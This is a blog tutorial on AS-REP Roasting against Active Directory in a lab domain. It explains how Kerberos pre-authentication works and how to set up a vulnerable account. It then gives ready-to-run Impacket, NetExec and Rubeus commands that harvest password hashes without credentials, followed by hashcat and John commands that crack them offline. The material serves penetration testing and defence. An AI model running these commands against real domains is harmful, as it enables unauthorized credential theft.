Byte JMP
AS-REP Roasting: Exploiting Accounts Without Kerberos Pre-Authentication

AS-REP Roasting: Exploiting Accounts Without Kerberos Pre-Authentication

How disabling Kerberos pre-authentication hands attackers an offline password crack with no credentials required. Lab setup, enumeration, exploitation, and offline cracking.

·8 min read

TL;DR

AS-REP Roasting abuses user accounts that have the "Do not require Kerberos preauthentication" flag (DONT_REQ_PREAUTH) enabled. When this flag is on, anyone can ask the KDC for an AS-REP ticket for that user without proving who they are. Part of the response comes encrypted with a key derived from the user's password, which allows an offline brute-force attack against the hash, without generating noisy login attempts on the DC.


How Kerberos pre-authentication works

To understand the attack, we first need to understand what it breaks.

In the normal Kerberos flow, when a user wants to authenticate, the client sends an AS-REQ message to the KDC (the Domain Controller). With pre-authentication enabled (the default), that AS-REQ carries a field called PA-ENC-TIMESTAMP: a timestamp encrypted with the key derived from the user's password.

The KDC decrypts that timestamp using the key it knows for that user:

  • If it decrypts correctly and the time is valid → the user has proven they know the password, and the KDC responds with the AS-REP containing the TGT.
  • If it fails → the KDC refuses. No useful encrypted material is handed out.

In other words, pre-authentication exists precisely to prevent someone from requesting a user's cryptographic material without first proving their identity. It is the defense against offline attacks at the initial authentication step.

What changes without pre-authentication

When the account has DONT_REQ_PREAUTH enabled, the KDC does not require the PA-ENC-TIMESTAMP. It simply accepts the AS-REQ and responds with the AS-REP.

And here is the problem: part of the AS-REP is encrypted with the key derived from the user's password. Specifically, the enc-part structure (which contains the session key and TGT data) comes encrypted with the hash of the user's password.

Since the attacker receives that encrypted blob without needing to authenticate, they can take it home and try to crack the password offline, testing candidates until decryption produces a valid structure.

Normal flow (with pre-authentication):

Normal Kerberos pre-authentication flow

Vulnerable flow (without pre-authentication — DONT_REQ_PREAUTH set):

Vulnerable Kerberos flow without pre-authentication


The configuration in Active Directory

The flag lives in the userAccountControl attribute of the user object. The corresponding bit is:

FlagValueBit
DONT_REQ_PREAUTH0x400000 (4194304)22

Why would an account end up like this?

  • Compatibility with legacy systems that don't support Kerberos pre-authentication (old applications, misconfigured Unix/MIT Kerberos integrations).
  • Misconfiguration or inheritance from old templates.
  • Deliberate flagging by an administrator who didn't understand the risk.

Setting it up in the lab (for demonstration)

We'll build the scenario from scratch in the evilcorp.local lab (DC: EVILCORP-DC01.evilcorp.local), creating a "legacy" service account and marking it as vulnerable. All the commands below run on the DC (or on a host with the RSAT ActiveDirectory module and domain administration credentials).

Step 1 — Create the service account

# Lab password: deliberately weak, present in rockyou.txt, and still
# compliant with the AD default complexity policy (upper + lower + digit)
$Password = ConvertTo-SecureString "Password1" -AsPlainText -Force

New-ADUser `
    -Name "svc-legacy" `
    -SamAccountName "svc-legacy" `
    -UserPrincipalName "[email protected]" `
    -DisplayName "Legacy Service Account" `
    -Description "Legacy service account - AS-REP Roasting lab" `
    -AccountPassword $Password `
    -Enabled $true `
    -PasswordNeverExpires $true

Step 2 — Enable the DONT_REQ_PREAUTH flag

This is what makes the account vulnerable, the equivalent in ADUC of checking "Do not require Kerberos preauthentication" on the user's Account tab.

Set-ADAccountControl -Identity "svc-legacy" -DoesNotRequirePreAuth $true

Step 3 — Confirm it is now vulnerable

Get-ADUser svc-legacy -Properties userAccountControl, DoesNotRequirePreAuth |
    Select-Object Name, DoesNotRequirePreAuth, userAccountControl

Expected output. Note the DoesNotRequirePreAuth : True and the 0x400000 (4194304) bit added to userAccountControl:

Name       DoesNotRequirePreAuth userAccountControl
----       --------------------- ------------------
svc-legacy                  True            4260352

The value 4260352 = 66048 (normal enabled account, password never expires) + 4194304 (the DONT_REQ_PREAUTH bit). If you compute 4260352 -band 4194304, the result is 4194304, confirming the bit is set.

Done: from this point on, svc-legacy can be roasted by anyone who can reach the DC. In the next sections we'll enumerate it and extract the hash.


Enumeration

The goal is to find who has the flag enabled. There are two scenarios: with domain credentials (LDAP) and without credentials (guessing users directly against the KDC).

With valid credentials (via LDAP)

With any authenticated domain account, we filter by userAccountControl containing bit 22.

PowerShell (from the defensive side or with a session in the domain):

Get-ADUser -Filter 'useraccountcontrol -band 4194304' -Properties DoesNotRequirePreAuth |
    Select-Object SamAccountName, Enabled, DoesNotRequirePreAuth

Raw LDAP filter (bitwise AND with the OID 1.2.840.113556.1.4.803):

(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))

With PowerView (offensive / authorized-pentest context):

Get-DomainUser -PreauthNotRequired -Properties samaccountname, useraccountcontrol

With ldapsearch from Linux:

ldapsearch -x -H ldap://EVILCORP-DC01.evilcorp.local -D '[email protected]' -w 'Password123' \
  -b 'DC=evilcorp,DC=local' \
  '(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))' \
  samaccountname

With BloodHound: the data is collected and you can filter by "Users with DontReqPreAuth" in the pre-built queries, great for quickly finding these targets in a large domain.

Without credentials (only with a list of users)

Here is the interesting and frequently overlooked point: you don't need to be authenticated. If you have a list of candidate usernames (obtained via OSINT, email enumeration, a previous spray, etc.), you can simply ask the KDC about each one. Whoever has the flag enabled returns the hash.

This makes AS-REP Roasting a useful technique already in the early stages, when you still have no credentials at all.


Exploitation

Three tools cover most scenarios: Impacket GetNPUsers.py (Linux), NetExec / nxc (Linux, the most convenient for operating over the network), and Rubeus (Windows/.NET).

Impacket — GetNPUsers.py

Scenario 1 — no credentials, with a wordlist of users:

impacket-GetNPUsers evilcorp.local/ -no-pass -usersfile users.txt \
    -format hashcat -outputfile asrep_hashes.txt -dc-ip 10.10.10.10
  • -no-pass: we provide no password (no need to authenticate).
  • -usersfile: the list of candidates.
  • -format hashcat: outputs directly in the hashcat-ready format.
$ impacket-GetNPUsers evilcorp.local/ -no-pass -usersfile users.txt -format hashcat -outputfile asrep_hashes.txt -dc-ip 192.168.147.137 
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[email protected]:191e2ed0e9f99afae09d31ac2708ceeb$9d7879164841c8f4e1a2de60e2ca412ec58d38602d8228deb21f154089a36ce86e7d4aea28ebf68f79d1752b072e2e43bae8e3334fd759fe4226bb30de2cc1d8cd72ecb6e060d4ffe6f7bcc8b392da1ce28bf14a1bf942b558d13df93c2c34c8e75618ee7747ea7125cde598b81323bc2eff06be1c38dcd3f7112af9a536f9568092a29750ad12bb04e77c9f28ee04026b1cc75163efc7c64a5f096680571c6f440f748edabcd679a3d4534b2bafcf27d29024f616d7af2e256739473ef4d9472735a4e0142e8bee1a62d496625faa6fa8143ba506071396b9c36f663fdcc928e833f2786dc470d90d4d00c83dcf6385

Scenario 2 — with valid credentials, letting the tool enumerate on its own via LDAP:

impacket-GetNPUsers evilcorp.local/user:'Password123' \
    -request -format hashcat -outputfile asrep_hashes.txt -dc-ip 10.10.10.10

-request makes the tool query LDAP, list who has DONT_REQ_PREAUTH, and request all the AS-REPs at once.

NetExec (nxc)

NetExec (the successor to CrackMapExec) has roasting built into the --asreproast module of the LDAP protocol. It's the most comfortable path for operating over the network: a single command enumerates the vulnerable accounts and writes out the hashes.

Scenario 1 — with valid credentials (automatic enumeration via LDAP):

nxc ldap 10.10.10.10 -u user -p 'Password123' --asreproast asrep_hashes.txt

Expected output in the lab. The svc-legacy we created shows up with its hash ready:

LDAP        10.10.10.10     389    EVILCORP-DC01    [*] Windows Server ... (name:EVILCORP-DC01) (domain:evilcorp.local)
LDAP        10.10.10.10     389    EVILCORP-DC01    [+] evilcorp.local\user:Password123
LDAP        10.10.10.10     389    EVILCORP-DC01    [email protected]:a1b2c3...<blob>...

Scenario 2 — no credentials, with a list of users:

nxc ldap 10.10.10.10 -u users.txt -p '' --asreproast asrep_hashes.txt

Useful details:

  • The file passed to --asreproast receives the hashes already in hashcat format (mode 18200), ready for cracking.
  • What appears in the terminal are the collected hashes; the file is the persisted output.
  • If you'd rather use Kerberos instead of a password (for example, with a ticket already in cache), nxc accepts -k / --use-kcache.
  • Keep in mind the module lives under the ldap protocol, not smb. A common mistake is trying nxc smb ... --asreproast.

nxc is especially handy when you're already sweeping a network range: you can point it at multiple targets and concentrate the collection in a single step.

Rubeus (from a Windows host in the domain)

# Automatically harvests the AS-REPs of all users without pre-auth
Rubeus.exe asreproast /format:hashcat /outfile:asrep_hashes.txt

# Or targeting a specific user
Rubeus.exe asreproast /user:svc-legacy /format:hashcat /nowrap

Rubeus queries the domain, identifies the targets, and collects the hashes in a single step. /nowrap avoids line breaks that interfere with cracking.

What the hash looks like

The hashcat format (mode 18200) looks like this:

[email protected]:a1b2c3...<long hex blob>...
  • 23 indicates the RC4-HMAC (etype 23) cipher type, the most common and the fastest to crack.
  • If the environment enforces AES, you'll see etypes 17/18, which are also crackable but with much higher computational cost.

Offline cracking

With the hashes in hand, the work is offline. Nothing else touches the DC.

Hashcat (mode 18200):

hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt

Expected result. The hash is cracked and the password is revealed at the end of the line:

[email protected]:191e2ed0...<blob>...:Password1

You can re-display already-cracked hashes at any time with hashcat -m 18200 asrep_hashes.txt --show.

John the Ripper:

john --format=krb5asrep --wordlist=/usr/share/wordlists/rockyou.txt asrep_hashes.txt

If the password is in the wordlist (or derivable via rules), it falls. Service accounts often have weak, old, and rarely rotated passwords, which is why they're such valuable targets.


References

  1. userAccountControl attribute (Microsoft)
  2. RFC 4120 - The Kerberos Network Authentication Service (V5)
  3. Rubeus - asreproast (GhostPack)
  4. Impacket - GetNPUsers.py (Fortra)
  5. HackTricks - AS-REP Roasting
  6. hashcat - example hashes (mode 18200)
No previous
No next